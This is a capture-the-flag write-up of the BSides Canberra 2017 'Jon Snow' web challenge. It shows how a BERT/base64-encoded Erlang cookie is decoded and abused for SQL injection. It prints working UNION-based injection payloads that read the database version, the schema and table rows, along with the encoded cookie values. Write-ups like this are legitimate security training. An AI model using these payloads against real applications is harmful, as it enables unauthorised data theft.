BSidesCBR 2017 CTF Write-Up: Jon Snow

This is a write-up of the You Don’t Know Jon Snow challenge (150 points) from BSides Canberra 2017.

You can find a copy of the challenge on GitHub (https://github.com/OJ/bsides-2017-ctf-docker/tree/master/web-jonsnow) if you want to give this a go.

The scenario

You are presented with a web page, and it looks like a pretty simple one too.


Where to start?

This is a good question. When presented with a web page, there are a lot of options. So lets start by seeing if there is anything in the web page source.

<!DOCTYPE html>
<html lang="en">
<head>    
    <meta charset="utf-8">
    <title>So who are you?</title>
</head>
<body>
    <h1>Who are you? You are...</h1>
    <p>Unknown</p>

    <h1>And what do you know?</h1>
    <p>Nothing</p>
</body>
</html>

Nope… nothing there of use. Next step is to have a look at the cookies for the site.

The cookie found in local storage can give away some hints.
An interesting looking cookie.

Alright, so now there is a possible way in.

The cookie name bert_b64 gives a bit of a hint about what the cookie could be encoded as: some sort of base64.

However, trying to simply decode the cookie using JavaScript’s inbuilt decoder produces less than optimal results.

This can't be right...
This can’t be right…

A bit of research confirms this theory that this bert_b64 business is indeed a form of base64 encoding used in the functional programming language Erlang. Additionally, looking at the headers of the webpage indicate it’s being served using a web server called Cowboy — a quick Google confirms this is an Erlang HTTP server.

This clarifies why initial attempts to decode it using a standard base64 decoder didn’t work as Erlang is clearly encoding something other than just text judging by the output.

As it turns out, BERT is a Binary ERlang Term — a way to serialize Erlang terms. So, it seemed that the data had been serialized into BERT format and then converted into base64 which is placed into the content of that cookie.

Okay, so from here the next step would be to decode the string into something which is more human readable. Which means it’s time to get Erlang.

Fortunately, Erlang provides multiple ways of getting the package, the best of which is through Homebrew. However, there are a range of other ways of getting the binary package as well.

This process can take some time, be patient...
This process can take some time, be patient…

While waiting, the cookie will need to be put through a handy Bert en/decoder from GitHub in order to properly decode the string from earlier.

Once everything is done, the Erlang REPL can be fired up to compile bert.erl from the GitHub source to be able to use its functions within the REPL.

{ok,bert} indicates this was completed successfully
{ok,bert} indicates this was completed successfully

The reveal

First of all, it is good to see exactly what the Bert encoded base64 string comes out as.

The string decodes to a tuple of {user,["U","n","k","n","o","w","n",[]],user}.

Now for the fun part.


Trial and error and error and error

Now there is a string, it is time to play around and see what results it gives back from the site.

By changing it to {user,"Me",user} we can see exactly what part of this is used for what component in the final program.

This must back on to some sort of database, where if nothing matches, the returned result is simply Nothing. To find out exactly what, a version check injection can be used.

base64:encode(bert:encode({user,["whatever' UNION SELECT @@version;-- -"],user})).
> <<g2gDZAAEdXNlcmwAAAABawAld2hhdGV2ZXInIFVOSU9OIFNFTEVDVCBAQHZlcnNpb247LS0gLWpkAAR1c2Vy>>

Here, the cookie is giving something which it expects (whatever) then adding our injection onto the end using a UNION.

Just note something here. Erlang truncates the output if it is over a certain number of characters. To avoid this, wrap any statement inside rp(<statement>). as this gets around the issue.

Now it is concrete that this is indeed an SQL database — fully up to date in fact.1

The first thing to do is to get the current database.

base64:encode(bert:encode({user,["whatever' UNION SELECT database();-- -"],user})).
> <<"g2gDZAAEdXNlcmwAAAABawAmd2hhdGV2ZXInIFVOSU9OIFNFTEVDVCBkYXRhYmFzZSgpOy0tIC1qZAAEdXNlcg==">>

The next step is to get the table name.

whatever' UNION ALL SELECT table_name FROM information_schema.columns where table_schema='pwn_web' LIMIT 0,1;-- -

Note that this must now be being limited to 1 row return. This is because any more and an internal server error (500) is thrown.

From here the table name is known — so next up is to start pulling rows from it. Again, there is a server limiter which throws a 500 error if there is more than one row returned at a time.

whatever' UNION ALL SELECT * FROM pwn_loot LIMIT 0,1;-- -

Hmm, sneaky… Going to row 2 might produce a better outcome?

rp(base64:encode(bert:encode({user,["whatever' UNION ALL SELECT * FROM pwn_loot LIMIT 1,1;-- -"],user}))).> <<"g2gDZAAEdXNlcmwAAAABawA5d2hhdGV2ZXInIFVOSU9OIEFMTCBTRUxFQ1QgKiBGUk9NIHB3bl9sb290IExJTUlUIDEsMTstLSAtamQABHVzZXI=">>

Phew.

A script could also be written to check each row of the table, and to spit out ones which begin with BSIDES_CTF{ – something which could come in handy if there were more than 2 rows to go through.


Conclusion and reflection

This was a really nice introductory web challenge. It does seem quite straight-forward in this walk-through, but it did take us around 5 hours to solve this challenge! In particular, we got very trapped by the 500 internal server errors when returning more than one row from the database — we didn’t think of limiting to a single row for quite some time.

Additionally, figuring out Erlang (a functional language, with which we have zero experience) took a few quality hours!

Our workflow was also pretty rubbish. Rather than writing a script, we instead manually BERT and base64 encoded each SQL attempt then copied it across to another computer (as we had two machines — one on the internet, and one on the CTF network) and edited the cookie, tested, and repeated.

Efficiency plus… 👍

In hindsight, we should have been using a single machine with VMs and written a script in Python to accept the SQL as an argument and do all the heavy lifting for us. Bearing in mind, this was our first CTF so lessons learned for the future!

A big thank you to the BSidesCBR CTF organisers and also for their encouragement to solve this challenge.